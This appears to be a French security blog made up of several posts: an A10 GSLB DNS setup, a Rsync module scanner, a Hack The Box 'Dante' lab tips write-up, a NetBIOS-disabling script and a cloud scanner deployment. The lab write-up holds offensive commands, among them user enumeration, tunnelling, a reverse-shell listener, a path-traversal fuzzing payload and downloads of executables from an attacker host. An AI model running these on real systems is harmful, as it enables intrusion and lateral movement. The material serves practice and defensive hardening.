14 Jan

A10 – GSLB : Déploiement d’un serveur DNS intelligent

Introduction

Cet article présente en détail le mode « serveur DNS » de l’A10 avec sa fonctionnalité Global Server Load Balancing (GSLB) afin de garantir la disponibilité de services Web.

L’idée étant de déléguer la gestion complète d’un sous-domaine public à l’A10. Ainsi, en fonction de la disponibilité des services Web ou des liens Internet, il sera en mesure d’adapter sa réponse DNS.

Nous verrons un exemple de configuration type d’un cluster A10 qu’il est possible d’utiliser pour un centre de données avec deux liens Internet, les prérequis pour sa mise en œuvre, et des schémas explicatifs.

Nous étudierons que la partie DNS dans cet article, il n’y aura donc pas de détail pour la partie firewall.

Bonne lecture.

Prérequis

Il est nécessaire d’avoir accès au panneau de configuration de son fournisseur DNS public (MyDNS dans notre exemple), et bien sûr à minima un accès administrateur sur un A10 (fichier de configuration à adapter si une seule unité).

Chacun des A10 devra être placé entre les routeurs de vos fournisseurs d’accès Internet et vos firewalls. Ils devront donc tous être placés dans le même VLAN (un VLAN dédié de préférence par FAI, pour éviter tout conflit de niveau 2). L’A10 exposera le port DNS (UDP uniquement) directement sur Internet.

Contrainte : gardez en tête que chacun des A10 (dans le cas d’un cluster de deux unités) devra avoir ses propres adresses IP publiques pour fonctionner (le masque de sous-réseau de chacun des liens FAI doit être suffisamment large pour un adressage IPv4). Voir l’exemple de configuration plus bas pour mieux comprendre.

Données fictives de notre exemple

Pour notre exemple, nous utiliserons les données suivantes :

  • Le fournisseur MyDNS est le serveur faisant autorité pour le domaine public « mydomain.com« 
  • Le sous-domaine délégué au cluster A10 est « gslb.mydomain.com« 
  • Deux FAI avec les sous-réseaux suivants :
    • myisp1 : 1.2.3.0/28, passerelle/routeur FAI = 1.2.3.14
    • myisp2 : 2.3.4.0/28, passerelle/routeur FAI = 2.3.4.14
  • Le nom public de notre service Web (FQDN) que l’on héberge : « mysite.mydomain.com« 

Requête DNS récursive

Voici un schéma ci-dessous pour mieux comprendre le cheminement complet d’un première requête DNS depuis le poste d’un utilisateur (navigateur) avec l’intervention d’un A10 pour l’accès au service Web :

Nous voyons qu’à l’étape 5 le serveur MyDNS va répondra avec une redirection CNAME afin que le serveur local DNS puisse interroger l’A10.

Suivant nos critères de disponibilités et l’état du « health check », l’A10 répondra avec l’adresse IPv4 adéquate à l’étape 7, toujours au serveur local DNS.

Configuration DNS « MyDNS »

Différents changements sont à faire sur votre serveur DNS public, voici les ajouts à apporter :

  • NS records :
    • gslb.mydomain.com = vdns1.mydomain.com
    • gslb.mydomain.com = vdns2.mydomain.com
  • A records (glue) :
    • vdns1.mydomain.com = 1.2.3.10
    • vdns2.mydomain.com = 2.3.4.10
  • CNAME records :
    • mysite.mydomain.com = mysite.gslb.mydomain.com

On déclare deux serveurs DNS « virtuels » avec leur adresse IPv4 respective ainsi que le fameux CNAME correspondant à notre service Web que l’on souhaite atteindre.

Configuration A10

Voici le fichier de configuration complet avec les explications au-dessous (fichier propre en téléchargement juste au-dessous) :

! On utilise une partition A10 dédiée pour les requêtes DNS publiques
active-partition dns
!
! Les interfaces 1/* correspondent à l'unité A10 primaire
interface ethernet 1/3 
  name myisp1 
  enable 
  ip address 1.2.3.2 255.255.255.240 
!
interface ethernet 1/4 
  name myisp2 
  enable 
  ip address 2.3.4.2 255.255.255.240 
! Les interfaces 2/* correspondent à l'unité A10 secondaire (secours)
interface ethernet 2/3 
  name myisp1 
  enable 
  ip address 1.2.3.3 255.255.255.240 
!
interface ethernet 2/4 
  name myisp2 
  enable 
  ip address 2.3.4.3 255.255.255.240 
!
! Routage (/ défaut) de l'unité A10 primaire, FAI myisp1 est préféré
device-context 1
  ip route 0.0.0.0 /0 1.2.3.14
  ip route 0.0.0.0 /0 2.3.4.14 100
! Routage (/ défaut) de l'unité A10 secondaire (secours), FAI myisp1 est préféré
device-context 2
  ip route 0.0.0.0 /0 1.2.3.14
  ip route 0.0.0.0 /0 2.3.4.14 100
! Serveur DNS public (Cloudflare et APNIC) utilisé pour valider l'accès Internet
health monitor ping-one 
  override-ipv4 1.1.1.1 
! Serveur virtuel DNS FAI myisp1, port d'écoute, GSLB et réponse par le même lien
slb virtual-server dns1-myisp1 1.2.3.10 
  port 53 dns-udp 
    gslb-enable 
    use-rcv-hop-for-resp 
! Serveur virtuel DNS FAI myisp2, port d'écoute, GSLB et réponse par le même lien
slb virtual-server dns2-myisp2 2.3.4.10 
  port 53 dns-udp 
    gslb-enable 
    use-rcv-hop-for-resp 
! Configuration adresse IPv4 du service Web "mysite.gslb.mydomain.com" sur myisp1
gslb service-ip myisp1-5 1.2.3.5
  health-check ping-one 
  port 443 tcp 
! Configuration adresse IPv4 du service Web "mysite.gslb.mydomain.com" sur myisp2
gslb service-ip myisp2-5 2.3.4.5 
  health-check ping-one 
  port 443 tcp 
! Configuration de notre premier site = FAI myisp1
gslb site myisp1 
  ip-server myisp1-5 
! Configuration de notre second site = FAI myisp2
gslb site myisp2 
  ip-server myisp2-5
! Notre politique (un seul lien actif/utilisé, priorités, préférences etc...)
gslb policy gslb-policy 
  health-check-preference-enable 
  weighted-ip-enable 
  no geographic 
  no round-robin 
  metric-force-check 
  metric-fail-break 
  metric-order health-check weighted-ip 
  dns backup-server 
  dns selected-only 1 
  dns logging both 
  dns server authoritative 
! Zone où l'on gère notre sous-domaine, déclaration des différents A records 
gslb zone gslb.mydomain.com 
  policy gslb-policy 
  dns-ns-record vdns1.mydomain.com 
  dns-ns-record vdns2.mydomain.com 
  service 443 mysite 
    dns-a-record myisp1-5 ttl 60 static 
    dns-a-record myisp2-5 as-backup ttl 60 static 
!
end

Avec cette configuration, l’A10 sera d’un côté en mesure de vérifier que l’accès Internet fonctionne par les deux liens FAI (en passant par leurs routeurs, test ICMP des routeurs et DNS 1.1.1.1), et de l’autre que vos services Web sont accessibles par les firewalls (test ICMP + port(s) accessible(s)).

Je fais en sorte que toutes les requêtes DNS (et tests) empruntent le même chemin à l’aller et au retour (important).

Dans la mesure du possible, tous les services Web répondront par le même lien Internet / même FAI (mode actif/passif).

Dépendance de services Web

Dans le cas de l’hébergement d’une application Web qui utiliserait/exposerait plusieurs services Web (plusieurs ports réseaux), il est parfois nécessaire voire obligatoire de tous les conserver sur le même lien Internet (même FAI). Il suffit d’ajouter ceci dans le fichier de configuration :

!
gslb service-group SG-App-Web 
  member app1.gslb.mydomain.com 
  member app2.gslb.mydomain.com 
  member app3.gslb.mydomain.com 
  dependency site 
!

Ainsi, si l’un des 3 services Web ne fonctionne plus par le lien primaire, on bascule tous les services sur le lien secondaire. Les réponses DNS proviendront toujours par/pour le même lien Internet/FAI.

Debug et vérifications

Quelques commandes utiles (console) pour faire un debug et visualiser les requêtes DNS en live.

Ici on paramètre le debug sur les paquets UDP et port 53 :

debug packet l4-protocol udp 53
debug gslb
show debug

On active notre debug :

debug monitor

Sur une autre station (Linux) cliente (adresse IPv4 publique 11.22.33.44) on lance une requête DNS (dig) :

dig @1.1.1.1 mysite.mydomain.com +short

Côté client on aura une réponse du type :

mysite.gslb.mydomain.com.
1.2.3.5

Et côté serveur/A10 :

@2686679073 i( 3,   1)> ip 11.22.33.44 > 1.2.3.10 udp  43888  > 53 len 66  qry id 139 
mysite.gslb.mydomain.com:443 [179111:56 - Query:received], 11.22.33.44 -> 1.2.3.10, Policy: gslb-policy, Records: 2
    rcode: 0[Success]
mysite.gslb.mydomain.com:443 [179111:56 - Metric:Start], Policy: gslb-policy, Last Hit: mysite-myisp1:1.2.3.5, Last Hit of Zone: mysite-myisp1:1.2.3.5
Preferred Records
    IN A 1.2.3.5
    IN A 2.3.4.5

mysite.gslb.mydomain.com:443 [179111:56 - Metric:health check]
Preferred Records
    IN A 1.2.3.5, State: Port UP preference 0
    IN A 2.3.4.5, State: Port UP preference 0

mysite.gslb.mydomain.com:443 [179111:56 - Metric:weighted IP]
Preferred Records
    IN A 1.2.3.5, Weight: None
    IN A 2.3.4.5, Weight: None

mysite.gslb.mydomain.com:443 [179111:56 - Response:sent]
@2686679073 o( 3,   0)> ip 1.2.3.10 > 11.22.33.44 udp  53  > 43888 len 111  qry id 139 

Ce site est également très utile pour vérifier en quasi temps réel la résolution DNS d’un site Web sur la planète :

https://dnschecker.org/

Conclusion

C’est un déploiement de base de GSLB et d’un serveur DNS mais qui reste fonctionnel et fiable.

Nous pourrions aller plus loin en utilisant d’autres critères GLSB, dans le cas d’un balancement géographique par exemple, avec un second centre données. Nous verrons cela plus tard dans un autre article.

En attendant, j’espère que cela pourra rendre services à certains et donner des pistes.

Dernier point, il est toujours bon de lancer un scan externe sur les adresses IP publiques utilisées pour s’assurer qu’aucun port n’est exposé involontairement en dehors de UDP 53 :

https://github.com/choupit0/MassVulScan

N’hésitez pas si un point n’est pas clair.

06 Jan

RsyncScan – Identifier les modules accessibles anonymement

Description

J’avais une liste assez longue de serveurs Rsync sous la main et avec Nmap je voulais m’assurer qu’aucun module (~répertoire) n’était accessible « anonymement » (comme lors d’un pentest par exemple).

Mais avec Nmap je ne pouvais uniquement voir les modules ou lancer un bruteforce (test de couples login/mot de passe) mais c’est tout. Je cherchais le moyen d’identifier si on pouvait accéder à ces modules et lire le contenu (lecture seule à minima), à la manière du script NSE smb-enum-shares pour le protocole SMB.

N’ayant pas de solution, j’ai crée ce script Bash qui est capable d’analyser une grande liste de hosts (adresses IP ou noms d’hôtes) en parallèle (réglable) et d’identifier ceux qui utilisent Rsync pour la synchronisation à distance :

Paramètre « p » pour le mode parallèle
Mode séquentiel par défaut

Il permet de parcourir les modules visibles et tente de se connecter sur chacun d’eux de manière anonyme pour identifier ceux qui sont accessibles. Tous les serveurs et modules accessibles sont ensuite enregistrés dans un fichier texte (commande Rsync complète pour validation) :

Serveurs et modules vulnérables/accessibles
02 Mar

Dante Pro Lab. – DANTE{tRuCs_&_@stuc3s}

Serez-vous le nouveau flingueur ?

Introduction

Un nouvel article sur la plateforme « Hack The Box » que j’affectionne tout particulièrement 🙂

J’ai profité des soldes de Noël dernier pour souscrire à un abonnement « Pro Lab. » et éviter de payer les frais d’installation. Le coût mensuel était 23 euros TTC « uniquement », et seulement deux mois d’abonnement pour compléter le Lab. « Dante« .

Sans prétention, cet article a pour but de guider un peu celles et ceux qui veulent se lancer dans l’aventure ou qui ont déjà commencé. Attention : Il ne s’agit pas d’un guide complet avec chacune des étapes, tous les drapeaux à découvrir, toutes les techniques etc… plutôt quelques conseils, des outils à utiliser, sur ma méthodologie etc…

Choix du Lab. Pro « Dante »

Sur https://app.hackthebox.com/ j’ai pu atteindre modestement le rang « Pro Hacker » avec une soixantaine de machines à mon actif depuis juin 2019. En majorité des VM de niveau « facile » et « intermédiaire » (3/4) sur Linux et Windows + quelques machines difficiles et challenges.

J’avais d’abord pensé à me présenter pour l’examen OSCP pendant un temps. Mais avec sa durée de 24 heures, je ne veux pas me lancer sans une bonne préparation car cela semble assez intense. Et j’aime bien réussir mes examens du premier coup.

Je voulais donc d’abord m’exercer sur un « vrai » Lab. représentatif de ce qui pourrait m’attendre et sans devoir payer trop cher pour cela. Mon but était de le faire en 2 mois à temps perdu, objectif atteint.

En comparant les différents Lab. proposés sur le site et en parcourant les forum, je me suis dit que Dante serait une bonne porte d’entrée. Et surtout un excellent terrain pour pratiquer sans se ruiner et abordable techniquement, je ne me suis pas trompé.

Présentation du Lab.

Dante comporte réellement 13 machines (le pare-feu est hors scope) : 7 VM Linux et 6 VM Windows.

Il est classé comme « intermédiaire » au niveau de la difficulté, j’estime que cela correspond effectivement : connaissance réseautique, diversités des plateformes/systèmes, technologies et outils variées etc…

Jusqu’à quatre tunnels seront nécessaires pour atteindre l’ensemble des machines. Autant vous dire que l’art du « pivot » ou déplacement latéral prend tout son sens ici !

Le Lab. est réinitialisé automatiquement tous les jours vers 07h00 (UTC) du matin.

Un point important : gardez à l’esprit que vous ne serez pas tout seul dans le Lab. Ce qui implique que des « petits malins » peuvent effacer des données ou les modifier (très rare tout de même, une seule fois dans mon cas en deux mois, sur un drapeau). Mais surtout, vous ne serez pas seul à lancer des scans à tout va, ce qui parfois rend instable le Lab. Il faut savoir prendre une pause quand cela n’aboutit pas et se poser les bonnes questions, un tunnel peut être défaillant sur le chemin, ou bien ICMP est bloqué par un pare-feu etc…

Outils utilisés

OS

Au niveau de l’OS j’ai utilisé kali-linux-2023-W03-vmware-amd64 via VMware Workstation 17 Player. Très stable durant toute mon utilisation et déjà bien fourni en termes d’outils. J’ai pu faire 100% du Lab. avec.

Scan / découverte réseau

j’ai utilisé mon propre outil au départ : MassVulScan

Sinon, le classique Nmap fera des merveilles. Pensez à utiliser les scripts pour la recherche de vulnérabilité ou faire de l’énumération d’utilisateurs par exemple :

nmap -p88 -Pn --script krb5-enum-users --script-args krb5-enum-users.realm='"DOMAIN.ADM"',userdb="'/home/kali/HTB/ProLabs/Dante/all_users.txt'" 10.10.2.5
nmap -Pn -p445 --script smb-vuln-* SERVER-DC03

J’utilise toujours l’option « -Pn » histoire de ne rien rater. Et toujours un seul host à la fois.

Pour UDP (moins pertinent pour ce Lab.), vous avez ce script Perl : udp-proto-scanner

perl udp-proto-scanner/udp-proto-scanner.pl 10.10.2.0/24

Pour la découverte réseau, vous avez aussi nbtscan qui est fort utile pour obtenir des informations NetBIOS sur un environnement Windows :

nbtscan -l 10.10.1.0/24

Et n’oubliez pas les entrées ARP aussi :

arp -na
arp -a

Ou carrément arp-scan mais cela nécessite « un peu » de compilation :

arp-scan -l

Quand le ping passait j’utilisais fping pour scanner un sous-réseau complet :

fping -a -g -s -q 10.10.2.0/24

Pivoting / Tunneling

Deux outils essentiels à connaître : SSHUTTLE et LIGOLO-NG

Oubliez tout le reste, sincèrement. Dans mon cas, j’utilisais SSHUTTLE en premier puis LIGOLO-NG pour les autres tunnels (stabilité, performance) :

SSHUTTLE :

sudo SSH_AUTH_SOCK="$SSH_AUTH_SOCK" sshuttle --method=tproxy --disable-ipv6 --exclude 10.10.10.3 -e "ssh -i id_rsa_root" -r root@10.10.10.3 10.10.1.0/24

LIGOLO-NG :

sudo ./proxy -selfcert
./agent(.exe) -connect 10.10.14.209:11601 -ignore-cert

Une fois l’agent connecté, il faut lister les sessions (session + [ENTER]) depuis Kali, sélectionner celle que l’on veut activer (choisir le numéro ou utiliser les flèches de direction + [ENTER]) et la démarrer (start + [ENTER]). Sans cela, pas de routage possible. Et il sera nécessaire de « switcher » les tunnels pour atteindre les autres réseaux après les premiers pivots (répondre « yes« ).

Comme indiqué lors de la présentation, les connexions ou tunnels ne sont pas toujours stables et parfois ICMP était bloqué. Du coup, j’avais une fenêtre qui était ouverte en permanence vers le host que j’attaquais sur le port concerné, ou vers un agent, avec un check en continue, comme ceci :

Ex. d’un test de port TCP en continue vers un host

Voici le script si cela vous intéresse, je m’en sers d’ailleurs régulièrement, fort utile :

#!/bin/bash

host=$1
port=$2
bold_color="\033[1m"
end_color="\033[0m"

if [ -z $host ] || [ -z $port ]; then
    echo -e "${bold_color}Usage: `basename $0` [HOST] [PORT] (only compatible with TCP)${end_color}"
    exit 1
fi

while :; do
    result=`nc -z -v -w 1 $host $port > /dev/null 2>&1`
    if [ $? -gt 0 ]; then
        echo -e "`date +'%Y/%m/%d %H:%M:%S'` - port $port is \033[0;31mclosed or down\033[0m for host $host"
        sleep 0.5
    else
        echo -e "`date +'%Y/%m/%d %H:%M:%S'` - port $port is \033[0;32mopen\033[0m for host $host"
        sleep 0.5
    fi
done

Buffer Overflow (BOF)

L’outil GDB-PEDA était suffisant, par contre j’ai dû l’installer à partir du dépôt GitHub : https://github.com/longld/peda

En effet, je voulais pouvoir travailler confortablement depuis ma VM Kali sans avoir de déconnexions intempestives. Il faut juste arriver à se mettre dans les mêmes conditions que le serveur à attaquer.

Surveillance des processus

Là aussi, un seul outil que je recommande (Linux) : pspy

Il suffit de le lancer et d’attendre un peu.

Recherche de vulnérabilités

Depuis un serveur Windows ou Linux j’ai utilisé le même outil : https://github.com/carlospolop/PEASS-ng

Sinon, vous avez la base de données exploit-DB et leur outil searchsploit :

searchsploit MS17-010
searchsploit -m 41891

Metasploit

L’incontournable, même si je voulais limiter son utilisation, il m’a été utile plusieurs fois (tester des couples « utilisateurs/mots de passe », obtenir un Shell avec privilèges etc…) : https://www.kali.org/tools/metasploit-framework/

Gardez en tête qu’il est parfois utile de changer de contexte de processus pour aller plus loin.

Shell / Reverse Shell

Une seule source très complète sur les possibilités : https://gtfobins.github.io/

Dans le cas du Reverse Shell, je vous conseille d’utiliser ce que l’on appelle un « wrapper » associé à Netcat pour plus de confort côté Kali. Par exemple : rlwrap

rlwrap nc -nlvp 1337

Exemple de Shell PHP minimaliste sinon : https://github.com/backdoorhub/shell-backdoor-list/blob/master/shell/php/mini.php

Et une version compilé Windows de Netcat : https://github.com/cyberisltd/NcatPortable

Windows

Deux outils à connaître, de véritables « couteaux suisses« , pour s’attaquer à un serveur Windows : CrackMapExec et Impacket

Que ce soit pour faire de l’énumération (version d’OS un serveur, version SMB, brute-force/password spraying, hashdump etc…) ou tout simplement pour réaliser une attaque (Kerberos, SQL etc…). Tout y est.

Répertoires et fichiers d’un serveur Web

Pour l’énumération ou la recherche de fichiers/répertoires, deux outils suivant ce que l’on cherche : Wfuzz et Feroxbuster

Idem, limiter le nombre de threads en parallèle.

wfuzz -c -w /home/kali/HTB/ProLabs/Dante/list.txt --hw 0 'http://10.10.1.10/page1.php?page=../../../../../../../../var/www/html/website/FUZZ'
feroxbuster --url https://www.monsite.com --extract-links --insecure --redirects --wordlist /home/kali/HTB/ProLabs/Dante/list.txt -t 2 --dont-scan https://www.monsite.com/

Mots de passe

Il n’est pas toujours utilise de chercher à casser des mots de passe avec John ou Hashcat, il a d’autres façons de s’en servir.

Et il est rarement nécessaire de faire du brute-force avec de grosses listes pour trouver un mot de passe, et surtout, ne pas trop forcer (nombre de threads simultanés etc…) au risque de passer à côté.

Pour générer sa propre liste de mots avec CeWL par exemple :

cewl -d 2 -m 5 -w words.txt http://10.10.110.3:15000/website/

Copie de fichiers

Suivant l’environnement (Windows ou Linux) vous serez amener à déposer ou transférer des fichiers ou scripts.

Quelques commandes utiles :

python3 -m http.server 80
scp -i id_rsa_bobylapointe script.sh bobylapointe@10.10.2.6:/tmp
*Evil-WinRM PS C:\temp> upload /home/kali/HTB/ProLabs/Dante/script.exe
powershell IWR http://10.10.14.15/script.exe -OutFile script.exe

Articles ou sites

Quelques articles utiles en vrac :

https://ovelny.sh/blog/easy-tunneling-with-sshuttle/

https://kentosec.com/2022/01/13/pivoting-through-internal-networks-with-sshuttle-and-ligolo-ng/

https://blog.yikuo.dev/2020/01/08/GCI2019-BufferOverflow/

https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/64-bit-stack-based-buffer-overflow

https://subscription.packtpub.com/book/networking-and-servers/9781849517423/5/ch05lvl1sec47/privilege-escalation-and-process-migration

https://www.w3schools.com/tags/ref_urlencode.ASP

https://www.base64decode.org/

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

Discord

Pour être honnête, je n’ai pu compléter ce Lab. seul qu’à hauteur de 90-95%. Mais les 5-10% restants c’était grâce à la communauté Discord du canal officiel Hack The Box (#prolabs-dante).

PwnKit (CVE-2021-4034)

Une note sur ce CVE : vous verrez cette faille apparaître régulièrement lorsque vous lancerez vos scripts de détection de vulnérabilités. Ne cédez pas à la tentation ! En effet, ce Lab. a été construit en 2020 donc avant sa découverte.

Je vous confirme que cela fonctionne mais testez cette faille une fois le chemin attendu identifié. Même si dans la « vrai vie » un « malotru » ne se gênerait pas et irait au plus efficace, c’est sûr !

Conclusion

Sachez prendre des pauses, je suis parfois resté 2-3 jours bloqués alors que j’avais la réponse sous les yeux. On dit souvent que l’étape d’énumération est l’une des plus importantes, et bien je vous le confirme. Et ne pas aller trop vite, je passais à côté d’un détail qui avait son importance à chaque fois.

Persévérez, faites le maximum avant de céder à la tentation de demander de l’aide. Dans mon cas, je n’ai pas eu le choix pour la partie Buffer Overflow (BOF), c’était une découverte pour moi et je me suis trouvé noyé dans des tas d’articles avant d’avoir les bons.

Pour ce Lab. inutile d’imaginer des attaques complexes. Cela reste un Lab. accessible n’oubliez pas, qui vous permet de tester différents outils, rien d’insurmontable.

Et une dernière chose, n’oubliez pas de tout explorer (codes sources, historique, fichiers cachés etc…), même une fois le serveur compromis durant votre phase d’énumération. Il faut avoir en « tête » une liste type des choses à vérifier systématiquement sur chacune des VM pour ne rien rater.

Voilà, merci pour votre lecture et bon courage ! Et si besoin d’aide, je suis sur Discord ou via ce site.

21 Mar

Script PowerShell pour désactiver NetBIOS (DHCP)

Introduction

‎Les protocoles de la suite NetBIOS sur TCP/IP (ou NBT) implémentent les services NetBIOS sur TCP et UDP, qui sont décrits dans ‎‎RFC 1001‎‎ et ‎‎RFC 1002‎‎ :

  • NetBIOS Name Service : NBNS sur UDP (ou TCP) port 137 (similaire à DNS et aussi connu sous le nom WINS)
  • NetBIOS Datagram Service : NBDS sur UDP port 138 (peu utilisé)
  • NetBIOS Session Service : NBSS sur TCP port 139

En gros, il permet à un poste client Windows de rechercher un nom sur le réseau (broadcast) après une recherche DNS classique qui n’aboutit pas : fichier « host » local -> cache DNS local -> serveur DNS puis NBNS.

On parle d’une méthode qui date de la fin des années 80. Autant dire la préhistoire en informatique !

Aujourd’hui, il n’y a plus lieu de l’utiliser en entreprise (sauf cas spécifiques). Et surtout, il pourrait compromettre votre entreprise car il est simple de mettre en écoute un faux serveur qui répondrait aux requêtes clientes et ainsi intercepter/collecter les valeurs de hash NTLMv1 et v2.

Il suffirait ensuite à l’attaquant de réutiliser ce hash suivant la technique du « pass-the-hash » pour s’en servir contre les ressources internes. En effet, dans certains cas, il n’est même pas utile de connaître le mot de passe…

Cet article permet d’apporter une partie de la solution en désactivant globalement NetBIOS à la source, au niveau des serveurs DHCP Windows d’un domaine d’entreprise. Grâce à ce script.

Ainsi, après renouvellement du bail, toute nouvelle requête DHCP ou client DHCP recevra ces informations, visibles avec un « ipconfig /all » en ligne de commande (CMD) une fois l’adresse IP attribuée.

Pourquoi un script PowerShell ?

Tout simplement pour permettre de faire les changements sur un grand parc de serveurs DHCP. Dans mon cas, une trentaine de serveurs DHCP (correspondants à une trentaine de sites autonomes).

Le faire manuellement peut vite devenir fastidieux : quantité importante de serveurs, de scopes, une latence élevé pour peu que les serveurs soient éloignés géographiquement et malgré le mode cluster, ces informations ne se répliquent pas d’un serveur à l’autre…

D’où l’idée du script PowerShell.

Que fait ce script ?

Il va tout simplement permettre d’activer ou désactiver NetBIOS sur les serveurs DHCP Windows (options scopes « Avancées »).

Dans les grandes lignes :

  1. Obtenir la liste complète des serveurs DHCP du domaine‎ Windows
  2. ‎Sélection du serveur DHCP‎ sur lequel faire le changement
  3. ‎Vérifiez si le serveur est accessible ainsi que l’adresse IPv4 associée‎
  4. ‎Choix d’activer ou de désactiver NetBIOS
  5. ‎Confirmation avant d’exécuter le script‎
  6. ‎Boucle sur les scopes présents pour effectuer la modification‎
  7. ‎Afficher le temps d’exécution du script sur le serveur DHCP et consigner les modifications stockées dans %TEMP%.

J’ai fait le choix d’effectuer les changements serveur par serveur mais il est facilement modifiable pour qu’il puisse faire les changements sur tout un domaine d’un coup.

Conclusion

Pour rappel, le script ce trouve ici et il est suffisamment commenté je pense.

Voilà, j’espère qu’il pourra aider certains administrateurs. Je n’étais pas très familier avec PowerShell mais finalement je le trouve très accessible comme langage, plus que Python pour ma part par exemple.

Si voulez poursuivre la sécurisation de votre réseau en retirant les « vieux » protocoles obsolètes, je vous conseille cet article qui complète le travail en désactivant LLMNR et indique la marche à suivre côté client aussi si besoin.

Un dernier point bénéfique que je n’ai pas mentionné en désactivant NetBIOS c’est l’amélioration des performances du réseau.

30 Juil

Déployer un scanner sur OpenStack (API OVH)

Déployer et lancer automatiquement le scanner MassVulScan depuis des instances OpenStack du Cloud Public d’OVH.

Introduction

Les entreprises, notamment, devraient s’assurer de ne pas exposer sur l’Internet des ports réseaux de manière indésirable.

Dans ce but, j’ai voulu aller plus loin avec le scanner MassVulScan en permettant d’effectuer un scan depuis n’importe où sur l’Internet sans devoir louer plusieurs serveurs chaque mois et tout réinstaller à chaque fois.

En effet, lorsque l’on utilise continuellement la ou les mêmes adresses IP source pour scanner son réseau on risque de masquer certaines failles de sécurité : certaines autorisations (théoriquement) accordées qu’à celles-ci, utilisation de mécanismes de sécurité comme fail2ban qui les bloqueraient..

Du coup, malgré des scans réguliers, certains ports peuvent rester ouverts longtemps à tout va sans que l’on s’en aperçoive.. je parle par expérience !

J’ai donc cherché et réfléchi à une solution qui répondrait à ce cahier des charges :

  • Facilité, simplicité et rapidité du déploiement
  • Lancement automatique d’un scan complet
  • Faible coût de fonctionnement et ne payer qu’à l’usage
  • Fournisseur Cloud disposant de plusieurs Data Center répartis sur la planète
  • Fournisseur Cloud tolérant cette pratique

Solution

Voici le script Bash que j’ai développé qui répond à mes besoins : osic4MVS

osic4MVS a.k.a. OpenStack Instance Creation For MassVulScan

J’ai retenu le fournisseur de Cloud OVH que j’utilise de longue date, meilleur rapport qualité/prix selon moi. La facturation du Cloud Public est claire (à la demande et sans coûts cachés), la tarification est attractive (0.03$ CAD pour mes scans sur BHS3), et leur interface Web est simple et efficace.

Le script Bash va donc s’appuyer sur l’API d’OVH pour déployer en quelques minutes un instance OpenStack sur laquelle sera installée MassVulScan.

Prérequis

Script

Le script Bash ne fonctionne que sur les OS de la famille Debian.

Le serveur à partir duquel sera lancé ce script devra avoir accès à l’Internet, plus précisément :

  • ICMP Echo Reply (ping)
  • SSH port TCP 22

Voici la liste des paquets à installer, suivant si vous utilisez Python 2.x ou Python 3.x :

apt update
apt install python-openstackclient s-nail screen dnsutils ipcalc netcat

Ou :

apt update
apt install python3-openstackclient s-nail screen dnsutils ipcalc netcat

Fournisseur OVH

Vous devez bien-sûr posséder un compte OVH et créer votre projet Cloud Public : OVHCloud

Ici mon projet s’appelle tout simplement « SCANS » :

Mon projet « SCANS »

Ensuite il faut créer un utilisateur OpenStack, rendez-vous dans : Public Cloud / Project Management / Users & Roles

Comptes utilisateurs et rôles

Ajoutez un nouvel utilisateur (avec une description) en lui affectant le rôle « Compute Operator » :

Ce rôle est suffisant pour le fonctionnement du script

On ne peut pas choisir le nom d’utilisateur qui est généré aléatoirement sous la forme « user-XXXXXXXXXXXX », tout comme le mot de passe. Voici notre nouvel utilisateur créé pour notre démonstration :

Nouvel utilisateur en cours de création – Notez bien le mot de passe

N’oubliez pas de noter le mot de passe ! En cas d’oubli, cliquez sur les trois petits points à droite du compte utilisateur pour accéder aux options et en regénérer un nouveau :

Les options du compte utilisateur

Profitez-en pour télécharger de suite le fichier OpenStack RC qui correspond en fait à vos variables d’environnement, il nous sera utile pour la suite. Lors du téléchargement on vous demandera sur quelle région ( = quel Data Center et pays) ce fichier s’appliquera, j’ai choisi ici l’Amérique du nord et leur centre Canadien BHS3 :

Sélectionner une région ou plutôt un centre de données attaché au fichier OpenStack

Rendez-vous sur l’interface Web Horizon pour gérer votre instance OpenStack : Public Cloud / Management Interfaces / Horizon

Choisissez bien votre région, ici BHS3 :

Choisir la région, ici BHS3, Canada

Ensuite, nous allons générer une paire de clés SSH : Project / Compute / Key Pairs

Créez votre paire de clés comme ici, elle se nommera « demo » :

Création d’une paire de clés SSH (privée/publique)

Une fois la création terminée, votre clé SSH privée sera automatiquement téléchargée, comme ici :

Ma clé privée pour la démonstration

C’est terminé, nous avons donc nos quatre éléments importants pour le script Bash :

  1. Un compte utilisateur OpenStack chez OVH Cloud Public
  2. Un fichier OpenStack RC contenant nos variables d’environnement
  3. Une paire de clé SSH
  4. Le nom de notre clé SSH publique

Installation et utilisation

Installation

L’installation du script Bash est très simple :

git clone https://github.com/choupit0/osic4MVS.git
cd osic4MVS
chmod +x osic4MVS.sh && chmod +x deploy.sh

Ensuite, afin d’automatiser l’utilisation nous allons indiquer le mot de passe directement dans le fichier OpenStack RC. Commentez les lignes 25 à 27 puis ajoutez-en une nouvelle contenant le mot de passe de l’utilisateur OpenStack, comme ceci :

On ajoute le mot de passe de l’utilisateur

Sans cela, il vous sera demandé de saisir le mot de passe plusieurs fois durant le déroulement du script Bash.

Après, déposez votre clé privé et votre fichier OpenStack RC dans un endroit sécurisé et protégez-les comme ici :

chmod 600 openrc.sh
chmod 600 demo.pem

Lecture/écriture pour le propriétaire uniquement, cela peut-être le compte « root », utilisez ensuite « sudo » pour appeler le script Bash par exemple.

Utilisation

On y arrive !!!

Un beau menu vous attend 🙂

Vous aurez besoin de préciser quatre arguments pour pouvoir lancer le script Bash :

  1. Le chemin vers le ou les fichiers contenant les noms d’hôtes et/ou adresses IPv4, format CIDR
    • Un fichier obligatoire : celui contenant les hosts à scanner
    • Un fichier optionnel : celui contenant les hosts à exclure
      • Pour exclure les passerelles de vos opérateurs par exemple
  2. Le chemin vers votre fichier OpenStack RC
  3. Le chemin vers votre clé SSH privée
  4. Le nom de votre clé publique SSH

Le script doit être lancé avec les droits « root » (avec « sudo » ou non), comme ceci :

./osic4MVS.sh -f scanme-nmap -r conf/openrc.sh -k keys/demo.pem -p demo

Et voilà le résultat, ici l’exécution complète du script, en 4 minutes et 20 secondes :

Script Bash exécuté en moins de 5 minutes !!!

Rapports

Voici les rapports générés suite au scan du site « scanme.nmap.org » utilisé dans la démonstration :

Suivre le déroulement

Après avoir vérifié les arguments passés, le script Bash effectuera les étapes suivantes :

  1. Vérifier l’accessibilité du Cloud Public d’OVH
  2. Vérifier les instances OpenStack existantes
  3. Analyse du ou des fichiers sources (pour ne garder que les entrées valides)
  4. Création de l’instance
  5. Attente de la disponibilité du serveur (ping + SSH)
  6. Déploiement du scanner MassVulScan
  7. Envoi du ou des fichiers hosts
